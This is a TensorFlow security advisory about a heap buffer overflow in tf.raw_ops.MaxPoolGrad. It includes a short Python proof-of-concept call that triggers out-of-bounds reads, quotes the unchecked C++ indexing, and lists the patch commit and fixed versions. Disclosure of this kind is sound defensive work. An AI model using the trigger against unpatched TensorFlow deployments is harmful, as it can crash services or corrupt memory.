Heap buffer overflow in `MaxPoolGrad`

Impact

The implementation of tf.raw_ops.MaxPoolGrad is vulnerable to a heap buffer overflow:

import tensorflow as tf

orig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1] 
strides = [1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.MaxPoolGrad(
  orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
  strides=strides, padding=padding, explicit_paddings=[])

The implementation fails to validate that indices used to access elements of input/output arrays are valid:

for (int index = out_start; index < out_end; ++index) {
  int input_backprop_index = out_arg_max_flat(index);
  FastBoundsCheck(input_backprop_index - in_start, in_end - in_start);
  input_backprop_flat(input_backprop_index) += out_backprop_flat(index);
}

Whereas accesses to input_backprop_flat are guarded by FastBoundsCheck, the indexing in out_backprop_flat can result in OOB access.

Patches

We have patched the issue in GitHub commit a74768f8e4efbda4def9f16ee7e13cf3922ac5f7.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

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